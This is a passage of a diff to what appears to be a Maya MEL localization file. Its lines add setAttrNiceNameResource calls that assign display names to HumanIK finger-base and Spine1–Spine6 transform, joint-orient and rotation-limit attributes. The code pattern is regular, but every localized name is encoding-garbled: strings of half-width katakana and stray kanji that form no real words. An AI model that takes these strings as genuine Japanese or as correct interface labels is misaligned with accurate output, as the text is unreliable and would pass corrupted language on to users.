"LeftFingerBaseMinRLimitEnabley", "ニモテラハヨヨククラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMinRLimitEnablez", "ニモテラハヨヨククラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMaxRLimitEnablex", "ニモテラハヨヨククラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMaxRLimitEnabley", "ニモテラハヨヨククラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMaxRLimitEnablez", "ニモテラハヨヨククラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBase", "モメハヨヨクク" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseT", "モメハヨヨククニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseTx", "モメハヨヨククニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseTy", "モメハヨヨククニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseTz", "モメハヨヨククニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseR", "モメハヨヨククミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseRx", "モメハヨヨククミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseRy", "モメハヨヨククミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseRz", "モメハヨヨククミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseS", "モメハヨヨククヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseSx", "モメハヨヨククヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseSy", "モメハヨヨククヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseSz", "モメハヨヨククヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseRotateOrder", "モメハヨヨククミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseRotateAxis", "モメハヨヨククミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseRotateAxisx", "モメハヨヨククミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseRotateAxisy", "モメハヨヨククミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseRotateAxisz", "モメハヨヨククミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseJointOrient", "モメハヨヨククケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseJointOrientx", "モメハヨヨククケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseJointOrienty", "モメハヨヨククケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseJointOrientz", "モメハヨヨククケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMinRLimit", "モメハヨヨククラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMinRLimitx", "モメハヨヨククラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMinRLimity", "モメハヨヨククラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMinRLimitz", "モメハヨヨククラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMaxRLimit", "モメハヨヨククラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMaxRLimitx", "モメハヨヨククラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMaxRLimity", "モメハヨヨククラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMaxRLimitz", "モメハヨヨククラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMinRLimitEnablex", "ニモテモメハヨヨククラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMinRLimitEnabley", "ニモテモメハヨヨククラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMinRLimitEnablez", "ニモテモメハヨヨククラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMaxRLimitEnablex", "ニモテモメハヨヨククラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMaxRLimitEnabley", "ニモテモメハヨヨククラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFingerBaseMaxRLimitEnablez", "ニモテモメハヨヨククラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1", "シケラオ 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1T", "シケラオ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1Tx", "シケラオ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1Ty", "シケラオ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1Tz", "シケラオ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1R", "シケラオ 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1Rx", "シケラオ 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1Ry", "シケラオ 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1Rz", "シケラオ 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1S", "シケラオ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1Sx", "シケラオ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1Sy", "シケラオ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1Sz", "シケラオ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1RotateOrder", "シケラオ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1RotateAxis", "シケラオ 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1RotateAxisx", "シケラオ 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1RotateAxisy", "シケラオ 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1RotateAxisz", "シケラオ 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1JointOrient", "シケラオ 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1JointOrientx", "シケラオ 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1JointOrienty", "シケラオ 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1JointOrientz", "シケラオ 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MinRLimit", "シケラオ 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MinRLimitx", "シケラオ 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MinRLimity", "シケラオ 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MinRLimitz", "シケラオ 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MaxRLimit", "シケラオ 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MaxRLimitx", "シケラオ 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MaxRLimity", "シケラオ 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MaxRLimitz", "シケラオ 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MinRLimitEnablex", "ニモテシケラオ 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MinRLimitEnabley", "ニモテシケラオ 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MinRLimitEnablez", "ニモテシケラオ 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MaxRLimitEnablex", "ニモテシケラオ 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MaxRLimitEnabley", "ニモテシケラオ 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine1MaxRLimitEnablez", "ニモテシケラオ 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2", "シケラオ 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2T", "シケラオ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2Tx", "シケラオ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2Ty", "シケラオ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2Tz", "シケラオ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2R", "シケラオ 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2Rx", "シケラオ 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2Ry", "シケラオ 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2Rz", "シケラオ 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2S", "シケラオ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2Sx", "シケラオ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2Sy", "シケラオ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2Sz", "シケラオ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2RotateOrder", "シケラオ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2RotateAxis", "シケラオ 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2RotateAxisx", "シケラオ 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2RotateAxisy", "シケラオ 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2RotateAxisz", "シケラオ 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2JointOrient", "シケラオ 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2JointOrientx", "シケラオ 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2JointOrienty", "シケラオ 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2JointOrientz", "シケラオ 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MinRLimit", "シケラオ 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MinRLimitx", "シケラオ 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MinRLimity", "シケラオ 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MinRLimitz", "シケラオ 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MaxRLimit", "シケラオ 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MaxRLimitx", "シケラオ 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MaxRLimity", "シケラオ 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MaxRLimitz", "シケラオ 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MinRLimitEnablex", "ニモテシケラオ 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MinRLimitEnabley", "ニモテシケラオ 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MinRLimitEnablez", "ニモテシケラオ 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MaxRLimitEnablex", "ニモテシケラオ 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MaxRLimitEnabley", "ニモテシケラオ 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine2MaxRLimitEnablez", "ニモテシケラオ 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3", "シケラオ 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3T", "シケラオ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3Tx", "シケラオ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3Ty", "シケラオ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3Tz", "シケラオ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3R", "シケラオ 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3Rx", "シケラオ 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3Ry", "シケラオ 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3Rz", "シケラオ 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3S", "シケラオ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3Sx", "シケラオ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3Sy", "シケラオ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3Sz", "シケラオ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3RotateOrder", "シケラオ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3RotateAxis", "シケラオ 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3RotateAxisx", "シケラオ 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3RotateAxisy", "シケラオ 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3RotateAxisz", "シケラオ 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3JointOrient", "シケラオ 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3JointOrientx", "シケラオ 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3JointOrienty", "シケラオ 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3JointOrientz", "シケラオ 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MinRLimit", "シケラオ 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MinRLimitx", "シケラオ 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MinRLimity", "シケラオ 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MinRLimitz", "シケラオ 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MaxRLimit", "シケラオ 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MaxRLimitx", "シケラオ 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MaxRLimity", "シケラオ 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MaxRLimitz", "シケラオ 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MinRLimitEnablex", "ニモテシケラオ 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MinRLimitEnabley", "ニモテシケラオ 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MinRLimitEnablez", "ニモテシケラオ 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MaxRLimitEnablex", "ニモテシケラオ 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MaxRLimitEnabley", "ニモテシケラオ 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine3MaxRLimitEnablez", "ニモテシケラオ 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4", "シケラオ 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4T", "シケラオ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4Tx", "シケラオ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4Ty", "シケラオ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4Tz", "シケラオ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4R", "シケラオ 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4Rx", "シケラオ 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4Ry", "シケラオ 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4Rz", "シケラオ 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4S", "シケラオ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4Sx", "シケラオ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4Sy", "シケラオ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4Sz", "シケラオ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4RotateOrder", "シケラオ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4RotateAxis", "シケラオ 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4RotateAxisx", "シケラオ 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4RotateAxisy", "シケラオ 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4RotateAxisz", "シケラオ 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4JointOrient", "シケラオ 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4JointOrientx", "シケラオ 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4JointOrienty", "シケラオ 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4JointOrientz", "シケラオ 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MinRLimit", "シケラオ 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MinRLimitx", "シケラオ 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MinRLimity", "シケラオ 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MinRLimitz", "シケラオ 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MaxRLimit", "シケラオ 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MaxRLimitx", "シケラオ 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MaxRLimity", "シケラオ 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MaxRLimitz", "シケラオ 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MinRLimitEnablex", "ニモテシケラオ 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MinRLimitEnabley", "ニモテシケラオ 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MinRLimitEnablez", "ニモテシケラオ 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MaxRLimitEnablex", "ニモテシケラオ 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MaxRLimitEnabley", "ニモテシケラオ 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine4MaxRLimitEnablez", "ニモテシケラオ 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5", "シケラオ 5" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5T", "シケラオ 5 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5Tx", "シケラオ 5 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5Ty", "シケラオ 5 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5Tz", "シケラオ 5 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5R", "シケラオ 5 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5Rx", "シケラオ 5 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5Ry", "シケラオ 5 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5Rz", "シケラオ 5 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5S", "シケラオ 5 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5Sx", "シケラオ 5 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5Sy", "シケラオ 5 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5Sz", "シケラオ 5 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5RotateOrder", "シケラオ 5 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5RotateAxis", "シケラオ 5 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5RotateAxisx", "シケラオ 5 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5RotateAxisy", "シケラオ 5 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5RotateAxisz", "シケラオ 5 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5JointOrient", "シケラオ 5 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5JointOrientx", "シケラオ 5 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5JointOrienty", "シケラオ 5 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5JointOrientz", "シケラオ 5 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MinRLimit", "シケラオ 5 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MinRLimitx", "シケラオ 5 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MinRLimity", "シケラオ 5 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MinRLimitz", "シケラオ 5 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MaxRLimit", "シケラオ 5 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MaxRLimitx", "シケラオ 5 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MaxRLimity", "シケラオ 5 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MaxRLimitz", "シケラオ 5 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MinRLimitEnablex", "ニモテシケラオ 5 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MinRLimitEnabley", "ニモテシケラオ 5 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MinRLimitEnablez", "ニモテシケラオ 5 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MaxRLimitEnablex", "ニモテシケラオ 5 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MaxRLimitEnabley", "ニモテシケラオ 5 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MaxRLimitEnablez", "ニモテシケラオ 5 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6", "シケラオ 6" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6T", "シケラオ 6 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6Tx", "シケラオ 6 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6Ty", "シケラオ 6 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6Tz", "シケラオ 6 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6R", "シケラオ 6 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6Rx", "シケラオ 6 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6Ry", "シケラオ 6 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6Rz", "シケラオ 6 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6S", "シケラオ 6 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6Sx", "シケラオ 6 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6Sy", "シケラオ 6 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6Sz", "シケラオ 6 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6RotateOrder", "シケラオ 6 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6RotateAxis", "シケラオ 6 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6RotateAxisx", "シケラオ 6 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6RotateAxisy", "シケラオ 6 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6RotateAxisz", "シケラオ 6 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6JointOrient", "シケラオ 6 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6JointOrientx", "シケラオ 6 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6JointOrienty", "シケラオ 6 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6JointOrientz", "シケラオ 6 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MinRLimit", "シケラオ 6 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MinRLimitx", "シケラオ 6 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MinRLimity", "シケラオ 6 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MinRLimitz", "シケラオ 6 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MaxRLimit", "シケラオ 6 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MaxRLimitx", "シケラオ 6 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MaxRLimity", "シケラオ 6 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MaxRLimitz", "シケラオ 6 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MinRLimitEnablex", "ニモテシケラオ 6 ラミ。ミラェマ゙ヨニ X" ); 